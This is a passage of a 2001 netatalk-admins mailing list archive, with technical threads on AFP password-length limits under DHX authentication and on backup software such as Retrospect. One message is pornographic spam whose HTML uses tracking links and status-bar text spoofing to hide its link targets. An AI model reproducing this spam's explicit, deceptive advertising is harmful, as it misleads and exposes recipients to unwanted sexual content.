To: Thomas Kaiser
Cc: Miller.Jonathan; 'netatalk-admins@umich.edu'
Subject: Re: passwords longer than 8 characters


Thomas Kaiser wrote:
>
> am 26.07.2001 20:25 Uhr schrieb Miller.Jonathan:
>
> > there's a problem when people have passwords longer than 8 characters.
>
> Support for more than 8 chars in passwords came with DHX authentication.
>

Where is this limitation? Is it in the uam from netatalk, or is it built in
into
the
chooser? If it is part of the uam, it would be nice to lift that limitation,
because then
one would be able to authenticate against external services (i.e., LDAP)
with
longer passwords.

H.

--
Harald Wagener      |                                Systemadministrator
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252
An der Alster 42    |                              Fax.:+49-40-2881-1263
20099 Hamburg       |                         http://www.fcb-wilkens.com



From netatalk.administrators-errors@umich.edu  Sun Jul 29 20:03:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA29148
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 29 Jul 2001 20:03:21 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA27105
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 29 Jul 2001 20:03:21 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA27099
	for netatalk.administrators-members@umich.edu; Sun, 29 Jul 2001 20:03:20 -0400 (EDT)
Received: from greatbabes.gz.ee (adsl2145.estpak.ee [195.250.169.246])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id UAA27084
	for <netatalk-admins@umich.edu>; Sun, 29 Jul 2001 20:03:16 -0400 (EDT)
Message-Id: <200107300003.UAA27084@kingcreole.mr.itd.umich.edu>
From: free@greatbabes.gz.ee
To: netatalk-admins@umich.edu
Subject: Special Deal This Week Only !!!
Date: 29 Jul 2001 23:36:27 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_CZcgWYRN_eZnKvunC_MA"


------=_CZcgWYRN_eZnKvunC_MA
Content-Type: text/plain
Content-Transfer-Encoding: 8bit

--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
(This safeguard is not inserted when using the registered version)
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------

--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
(This safeguard is not inserted when using the registered version)
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------


------=_CZcgWYRN_eZnKvunC_MA
Content-Type: text/html
Content-Transfer-Encoding: 8bit

<html>
<head>
<title>Get Acceess to 10 Sites For $1.99 Only !!!</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body bgcolor="#000000" text="#FFFF00">
<div align="center"> 
  <p><font color="#FFFF00"><b><font size="3">Do not miss out on the opportunity 
    to get a full week of access to 8 websites for the amazing low price of only 
    <font color="#FF0000">$1.99</font>, <br>
    including Big Tit Fantasies - The Ultimate Tit Lover's Paradise!<br>
    You could search the internet for months and you wouldn't find a better deal 
    anywhere! </font></b></font></p>
  <p><font color=#ffffff 
                        face="Century Gothic, Arial" size=5>$1.99 SPECIAL DEAL<br>
    </font><font face="Century Gothic, Arial" 
                        size=5><font color=#8080ff>THIS WEEK ONLY!</font><font 
                        color=#ffffff></font></font></p>
  <TABLE WIDTH=360 BORDER=0 CELLPADDING=0 CELLSPACING=0>
    <TR> 
      <TD> <IMG SRC="http://kodu.neti.ee/~hyper/sp/spacer.gif" WIDTH=173 HEIGHT=1></TD>
      <TD> <IMG SRC="http://kodu.neti.ee/~hyper/sp/spacer.gif" WIDTH=7 HEIGHT=1></TD>
      <TD> <IMG SRC="http://kodu.neti.ee/~hyper/sp/spacer.gif" WIDTH=35 HEIGHT=1></TD>
      <TD> <IMG SRC="http://kodu.neti.ee/~hyper/sp/spacer.gif" WIDTH=145 HEIGHT=1></TD>
	</TR>
    <TR> 
      <TD COLSPAN=4> <IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_01.jpg" WIDTH=360 HEIGHT=30></TD>
    </TR>
    <TR> 
      <TD COLSPAN=3> <a onMouseOver="window.status='Click Here And Get Access to 10 Sites for $1.99 Only !!!'; return true" onMouseOut="window.status=''; return true" href="http://www.fatpockets.com/php/track.php3?ID=FP4453&Site=cf"_BLANK"><IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_02.gif" width=215 height=28 border="0"></a></TD>
      <TD ROWSPAN=3> <IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_03.jpg" WIDTH=145 HEIGHT=99></TD>
    </TR>
    <TR> 
      <TD COLSPAN=3> <a onMouseOver="window.status='Click Here And Get Access to 10 Sites for $1.99 Only !!!'; return true" onMouseOut="window.status=''; return true" href="http://www.fatpockets.com/php/track.php3?ID=FP4453&Site=tf" target="_blank"><IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_04.gif" width=215 height=36 border="0"></a></TD>
    </TR>
    <TR> 
      <TD COLSPAN=3> <a onMouseOver="window.status='Click Here And Get Access to 10 Sites for $1.99 Only !!!'; return true" onMouseOut="window.status=''; return true" href="http://www.fatpockets.com/php/track.php3?ID=FP4453&Site=lf" target="_blank"><IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_05.gif" width=215 height=35 border="0"></a></TD>
    </TR>
    <TR> 
      <TD COLSPAN=4> <IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_06.jpg" WIDTH=360 HEIGHT=74></TD>
    </TR>
    <TR> 
      <TD ROWSPAN=3> <IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_07.jpg" WIDTH=173 HEIGHT=95></TD>
      <TD COLSPAN=3> <a onMouseOver="window.status='Click Here And Get Access to 10 Sites for $1.99 Only !!!'; return true" onMouseOut="window.status=''; return true" href="http://www.fatpockets.com/php/track.php3?ID=FP4453&Site=af" target="_blank"><IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_08.gif" width=187 height=32 border="0"></a></TD>
    </TR>
    <TR> 
      <TD COLSPAN=3> <a onMouseOver="window.status='Click Here And Get Access to 10 Sites for $1.99 Only !!!'; return true" onMouseOut="window.status=''; return true" href="http://www.fatpockets.com/php/track.php3?ID=FP4453&Site=sf" target="_blank"><IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_09.gif" width=187 height=35 border="0"></a></TD>
    </TR>
    <TR> 
      <TD COLSPAN=3> <a onMouseOver="window.status='Click Here And Get Access to 10 Sites for $1.99 Only !!!'; return true" onMouseOut="window.status=''; return true" href="http://www.fatpockets.com/php/track.php3?ID=FP4453&Site=bf" target="_blank"><IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_10.gif" width=187 height=28 border="0"></a></TD>
    </TR>
    <TR> 
      <TD COLSPAN=4> <IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_11.jpg" WIDTH=360 HEIGHT=31></TD>
    </TR>
    <TR> 
      <TD COLSPAN=2> <IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_12.gif" WIDTH=180 HEIGHT=21></TD>
      <TD COLSPAN=2> <IMG SRC="http://kodu.neti.ee/~hyper/sp/multi6ad_13.gif" WIDTH=180 HEIGHT=21></TD>
    </TR>
  </TABLE>
  <p>&nbsp;</p>
  <p>&nbsp;</p>
  <p align="center"><font color=#8080ff><b><font 
                        face="Century Gothic, Arial" size=6>8 Sites for the Price 
    of One!<br>
    </font></b></font><font color=#ffffff 
                        face="Century Gothic, Arial" size=3>Do you really think 
    you're gonna find a better deal somewhere else!?<br>
    <a onMouseOver="window.status='Click Here And Get Access to 10 Sites for $1.99 Only !!!'; return true" onMouseOut="window.status=''; return true"href="http://www.fatpockets.com/php/track.php3?ID=FP4453&Site=lf" target="_blank"
                        >Click here now</a> and stop wasting 
    valuable jerk-off time!</font></p>
  <p align="center"><!-- BEGIN FASTCOUNTER CODE -->
<a href="http://member.bcentral.com/cgi-bin/fc/fastcounter-login?1689083" target="_top">
<img border="0" src="http://fastcounter.bcentral.com/fastcounter?1689083+3378173"></a>
<!-- END FASTCOUNTER CODE -->
<br>
<!-- BEGIN FASTCOUNTER LINK -->
<font face="arial" size="1">
<a href="http://fastcounter.bcentral.com/fc-join" target="_top">FastCounter by bCentral</a></font><br>
<!-- END FASTCOUNTER LINK -->
</p>
                            </div>

</body>
</html>


------=_CZcgWYRN_eZnKvunC_MA--


From netatalk.administrators-errors@umich.edu  Sun Jul 29 20:54:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA00595
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 29 Jul 2001 20:54:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA29130
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 29 Jul 2001 20:54:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA29112
	for netatalk.administrators-members@umich.edu; Sun, 29 Jul 2001 20:54:30 -0400 (EDT)
Received: from zul.wakawaka.com (zul.wakawaka.com [205.219.70.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA29061
	for <netatalk-admins@umich.edu>; Sun, 29 Jul 2001 20:54:29 -0400 (EDT)
Received: from bugs.wakawaka.com (bugs.wakawaka.com [192.148.188.8])
	by zul.wakawaka.com (8.8.8/8.8.5) with ESMTP id RAA13852;
	Sun, 29 Jul 2001 17:54:27 -0700 (PDT)
Received: (from paul@localhost)
	by bugs.wakawaka.com (8.8.8/8.8.5) id RAA20697;
	Sun, 29 Jul 2001 17:54:05 -0700 (PDT)
Message-Id: <200107300054.RAA20697@bugs.wakawaka.com>
From: paul@wakawaka.com (Paul Sander)
Date: Sun, 29 Jul 2001 17:54:03 -0700
In-Reply-To: <004b01c11883$2c3333a0$c40e8ec6@faredge.com.au>
X-Mailer: Mail User's Shell (7.2.6 beta(4)+dynamic 03/19/98)
To: chris@faredge.com.au, netatalk-admins@umich.edu
Subject: RE: Backup Software Question

My experience with Retrospect has been very favorable.  You have to choose
carefully the policies you set up.  You can have it back up to an FTP archive,
or to a local device such as tape or removable disk.  The high-end package
also allows for remote configuration and administration, so that a server
machine can back up workstations to its local media.

Retrospect also backs up Windows workstations, if that's important to your
shop.

>--- Forwarded mail from chris@faredge.com.au

>Retrospect was one of the reasons why our mac users abandoned the macintosh
>server and went linux - too much trouble with it, although I'm not convinced
>that at least part of that wasn't a user problem...

>-----Original Message-----
>From: Mac Conin [mailto:mconin@euc.de]
>Sent: Friday, 27 July 2001 02:34
>To: netatalk-admins@umich.edu
>Subject: Re: Backup Software Question

>running netatalk assumes that there is a Macintosh in the network.
>What about retrospect from dantz? I've tried it here and it looks
>good to me. I'm storing to a DAT-Drive at ~150MB/min.

>I can use my mac - and in any circumstance Im not in the office,
>someone else can handle a backup or restore, 'cause everybody can handle
>the program.

>--- End of forwarded message from chris@faredge.com.au


From netatalk.administrators-errors@umich.edu  Sun Jul 29 21:05:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA00766
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 29 Jul 2001 21:05:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA12448
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 29 Jul 2001 21:04:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA12426
	for netatalk.administrators-members@umich.edu; Sun, 29 Jul 2001 21:04:51 -0400 (EDT)
Received: from riverside.haddockseyes.com (riverside.haddockseyes.com [192.147.236.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA12383
	for <netatalk-admins@umich.edu>; Sun, 29 Jul 2001 21:04:50 -0400 (EDT)
Received: from sgathan.reid.org (sgathan.reid.org [192.147.236.130])
        by riverside.haddockseyes.com (8.11.1/8.11.1) with ESMTP id f6U13Pp96476; Sun, 29 Jul 2001 18:03:26 -0700 (PDT)
Date: Sun, 29 Jul 2001 18:04:59 -0700
From: Brian Reid <reid@mejac.palo-alto.ca.us>
To: netatalk-admins@umich.edu
Subject: RE: Backup Software Question
Message-ID: <30597151.996429899@sgathan.reid.org>
In-Reply-To: <200107300054.RAA20697@bugs.wakawaka.com>
References:  <200107300054.RAA20697@bugs.wakawaka.com>
X-Mailer: Mulberry/2.1.0b2 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

I've used them all, and Retrospect is the best of the best. Nothing costing under $5000 even comes close.



From netatalk.administrators-errors@umich.edu  Mon Jul 30 04:48:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA13032
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 04:48:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA03045
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 04:47:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA03019
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 04:47:46 -0400 (EDT)
Received: from amersham.mail.uk.easynet.net (amersham.mail.uk.easynet.net [195.40.1.45])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA02965
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 04:47:45 -0400 (EDT)
Received: from mail.network-analysis.ltd.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by amersham.mail.uk.easynet.net (Postfix) with ESMTP id 9F9DE17B86
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 09:45:02 +0100 (BST)
Received: by mail.network-analysis.ltd.uk (sendmail 8.11.3)
          with ESMTP id f6U8j2Y03480;
          Mon, 30 Jul 2001 09:45:02 +0100
Mime-Version: 1.0
X-Sender: sw@mail.network-analysis.ltd.uk
Message-Id: <p05100300b78ac7694e80@[192.168.195.62]>
In-Reply-To: <004b01c11883$2c3333a0$c40e8ec6@faredge.com.au>
References: <004b01c11883$2c3333a0$c40e8ec6@faredge.com.au>
X-Mailer: Eudora Pro
Organization: Network Analysis Ltd
Date: Mon, 30 Jul 2001 09:45:00 +0100
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@network-analysis.ltd.uk>
Subject: RE: Backup Software Question
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

In reply to Chris Herrmann's message of the 30/07/2001 at 09:06 +1000,


>Retrospect was one of the reasons why our mac users abandoned the macintosh
>server and went linux - too much trouble with it, although I'm not convinced
>that at least part of that wasn't a user problem...

You've got to be kidding: I set up my Retro backup scripts 4 or 5 yrs 
ago and apart from minor adjustments (replaced DAT with DLT, added 
new clients etc) I'm essentially running the same scripts. I've 
fought Amanda, straight dump/restore or tar/untar, Veritas and none 
of them comes close.

Currently I use Amanda to backup my Linux and Solaris and I have to 
tweak something every week or so. Its worst failing is that it 
doesn't append more than 1 backup session to a tape, so some days a 
backup tape will only contain a few 100 MBs of (incremental) backup. 
V expensive when the tape is a DLT cartridge. And of course, when you 
come round to reusing the tape, it just rewrites from the front, so 
you end up with what I call "answering machine tape syndrome": the 
first 10% of the tape is written over and over and gets worn out 
while the remaining 90% is virgin tape.

When it comes to restoring from the backup, Retro's snap-shots makes 
this really simple. And remember: your users don't thank you for 
backing up their files, only for restoring them.
-- 
Sak Wathanasin
Network Analysis Limited

Internet: sw@network-analysis.ltd.uk
Phone: (+44) 24 76 41 99 96        Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Mon Jul 30 04:51:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA13086
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 04:51:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA19469
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 04:51:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA19448
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 04:51:06 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA19404
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 04:51:03 -0400 (EDT)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id SAA06999
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 18:51:02 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3B65216E.6184CEDB@arts.usyd.edu.au>
Date: Mon, 30 Jul 2001 18:57:18 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.7-pre6-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Backup Software Question
References: <000a01c11493$ba6713b0$c40e8ec6@faredge.com.au>
			 <3B602FF7.9D8C128E@fcb-wilkens.com> <v04210104b785e2d2e40e@[216.155.36.73]> <3B603F05.294C6500@i-clue.de> <3B604674.6C9F4B58@euc.de>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms4D94CB4D21C74C77C985E685"

This is a cryptographically signed message in MIME format.

--------------ms4D94CB4D21C74C77C985E685
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Mac Conin wrote:
> 
> Hmm,
> 
> running netatalk assumes that there is a Macintosh in the network.
> What about retrospect from dantz? I've tried it here and it looks
> good to me. I'm storing to a DAT-Drive at ~150MB/min.
> 

 I have have very negative experiences with Retrospect. It certainly
doesn't scale. My predessor tried to backup 500+ machines with it. It
took more time to manage than its worth. Probably works well in small
workgroups of Macs. I found the windows version pretty well useless.

 We are now moving to using a huge file server. (Which is backed up by
Legato networker)

-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------ms4D94CB4D21C74C77C985E685
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH0AYJKoZIhvcNAQcCoIIHwTCCB70CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BbswggKKMIIB86ADAgECAgMFMYswDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTA3MDkxOTEyNThaFw0wMjA3MDkxOTEyNTha
MEoxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJzAlBgkqhkiG9w0BCQEWGG1h
dHRoZXdAYXJ0cy51c3lkLmVkdS5hdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1H+o
MQ4xn5lDS/7p9rYboPW7grw13lXOj7Xisip37QttkX7Ga3ITBXnsAKnuFK3Z7GtILACBXil1
BngLBOd0AlW9zqQBXEOP9aODNJzBsTb3+tOHwQo6shcORKQArKEinG00SuwBdzxALU3KWT6E
yIUSvoz7q0PN4C8qUF3t00sCAwEAAaM1MDMwIwYDVR0RBBwwGoEYbWF0dGhld0BhcnRzLnVz
eWQuZWR1LmF1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAiJu7SNBXsW7I+ZH9
e2+0M47BmR3DxV31VbW9mKcwuamusWSJJEy5MAKZc8b0snRX/XDkCpM+av3VxDJX8T3rxOE0
siyCC6Tclu6wjwjw0goXK4N6Xhsz+qwIfdoclNZkqK5yInEZtc5ijKr0IPRgch79f35WP82C
SNHVYApmjzgwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT
EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp
dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG
9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcN
MDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES
MBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmlj
YXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNE
KYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu
2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQAB
o04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0T
AQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0
S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHC
CafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+p
lrgFPFL83eliA0gxggHdMIIB2QIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNV
BAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBS
U0EgMjAwMC44LjMwAgMFMYswCQYFKw4DAhoFAKCBmTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wMTA3MzAwODU3MTlaMCMGCSqGSIb3DQEJBDEWBBT42GFE
3k/BUlS/cTWpyNBD6S1LKTA6BgkqhkiG9w0BCQ8xLTArMAoGCCqGSIb3DQMHMA4GCCqGSIb3
DQMCAgIAgDANBggqhkiG9w0DAgIBQDANBgkqhkiG9w0BAQEFAASBgGYK7IzfDfIjlTNdKQyH
/H5ZfNyGy/PdPx+mRtwtYQIZV4M1MTLLXsd2DtL2bW7T2czuqnissE8Rn4UClcRdEz2eHjmw
a7K+OGHTksNE6gATfygCJoIKg9b4a1SQUsJcQO0Gz/CZVXSN1xL+ViFmCIaLJ3yjbONFqdWs
fsKSbA1a
--------------ms4D94CB4D21C74C77C985E685--


From netatalk.administrators-errors@umich.edu  Mon Jul 30 05:34:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA13996
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 05:34:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA27632
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 05:34:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA27630
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 05:34:53 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA27620
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 05:34:51 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id LAA16556;
	Mon, 30 Jul 2001 11:50:54 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 30 Jul 2001 11:36:48 +0200
Subject: Re: passwords longer than 8 characters
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Chris Herrmann <chris@faredge.com.au>, <netatalk-admins@umich.edu>,
        Harald Wagener <hwagener@fcb-wilkens.com>
Message-ID: <B78AF74D.F1E5%Thomas.Kaiser@phg-online.de>
In-Reply-To: <005501c11888$28188900$c40e8ec6@faredge.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

[quotings rearranged :-/ ]

>>> Support for more than 8 chars in passwords came with DHX authentication.
>> 
>> Where is this limitation?

With cleartext and 2-way randnum authentication there was an limitation in
the passwords length. This limitation no longer exists when using DHX
authentication, which is built into recent AppleShare clients (so you can
use passwords with more than 8 chars without modifiying anything on your
mac)

If a Mac contants an AFP server then the server will answer the macs
FPGetSrvrInfo request with a list of UAMs it can handle. Some of them are
built-in, some of them may not. So the AppleShare client looks into the
system folder for UAMs. If there is an UAM, that matches the servers then it
will be used.

If you want to connect to NTs Services for Macintosh for example, you have
the ability to use cleartext and 2way-randnum (without dropping uam files
into the macs system folder) or you copy the MS-UAM to your mac and can use
an authentication method that allows passwords with 14 chars in length and
stronger encryption.

There are also Patches available that can be used with AppleShare IP.
Afterwards you can authenticate via PGP with your server. :-)
 
>> Is it in the uam from netatalk, or is it built in into the chooser?

You have to search on both ends of the cable ;-)

With AppleShare Client 3.6 (or 3.7? -- can't remember) Apple supported
third-party UAMs. What you mean is the servers side, I think. When using the
dhx uam with netatalk and recent AppleShare Clients on your Macs (3.8.6 or
3.8.8) then you will use automatically DHX authentication between client and
server. So you will be able to use longer passwords.

>> If it is part of the uam, it would be nice to lift that limitation,
>> because then one would be able to authenticate against external services
>> (i.e., LDAP) with longer passwords.

This can be done already.

> It's a two part thing - you need to use dhx authentication, **and** you need
> to be using the latest version of appletalk (see earlier email from
> someone).

AppleTalk is not the right word. AppleShare Client sounds better ;-)

(Please remember that with AFP 3.0 there will be no longer support for AFP
-- aka AppleShare -- over AppleTalk at all)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Jul 30 05:45:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA14236
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 05:45:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA04626
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 05:45:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA04609
